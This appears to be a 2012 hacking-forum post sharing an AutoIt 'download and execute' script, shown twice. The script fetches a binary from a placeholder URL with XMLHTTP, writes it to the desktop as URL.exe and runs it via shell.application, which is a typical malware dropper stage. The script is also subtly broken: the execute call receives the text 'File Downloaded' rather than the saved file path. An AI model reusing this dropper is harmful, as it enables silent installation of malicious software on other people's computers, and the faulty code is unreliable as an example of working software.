Download File and Execute 09-18-2012, 06:58 PM
#1
Yeah , its a simple code to download and execute a file ( Downloader )
Hope they enjoy
;=======================================
; Download File and Execute ( No Inet )
; Autor : M3
; Thanks to Black Zerox
;=======================================
Global $sFinal = @DesktopDir & "\URL.exe"
sDownloadFile("URL OF FILE")
Sleep(999)
sShell("File Downloaded")
Func sDownloadFile($sLinkToDownload)
Local $ProtXML ,$sAStream
$ProtXML = ObjCreate("Microsoft.XMLHTTP")
$sAStream = ObjCreate("Adodb.Stream")
$ProtXML.Open("GET", $sLinkToDownload, 0)
$ProtXML.Send
$sAStream.Type = 1
$sAStream.Open
$sAStream.write($ProtXML.ResponseBody)
$sAStream.SaveToFile($sFinal)
$sAStream.Close
EndFunc
;Alternative Shellexecute
Func sShell($Path)
Local $Shell = ObjCreate("shell.application")
$Shell.ShellExecute($Path, "")
EndFunc
Hope they enjoy
;=======================================
; Download File and Execute ( No Inet )
; Autor : M3
; Thanks to Black Zerox
;=======================================
Global $sFinal = @DesktopDir & "\URL.exe"
sDownloadFile("URL OF FILE")
Sleep(999)
sShell("File Downloaded")
Func sDownloadFile($sLinkToDownload)
Local $ProtXML ,$sAStream
$ProtXML = ObjCreate("Microsoft.XMLHTTP")
$sAStream = ObjCreate("Adodb.Stream")
$ProtXML.Open("GET", $sLinkToDownload, 0)
$ProtXML.Send
$sAStream.Type = 1
$sAStream.Open
$sAStream.write($ProtXML.ResponseBody)
$sAStream.SaveToFile($sFinal)
$sAStream.Close
EndFunc
;Alternative Shellexecute
Func sShell($Path)
Local $Shell = ObjCreate("shell.application")
$Shell.ShellExecute($Path, "")
EndFunc
(This post was last modified: 09-18-2012, 07:01 PM by Sir12.)


![[Image: 337AU3.jpg]](http://dekoderspicture.com/images/337AU3.jpg)
![[+]](https://sinister.li/images/modern/collapse_collapsed.png)


![[Image: AQiSh.jpg]](http://i.imgur.com/AQiSh.jpg)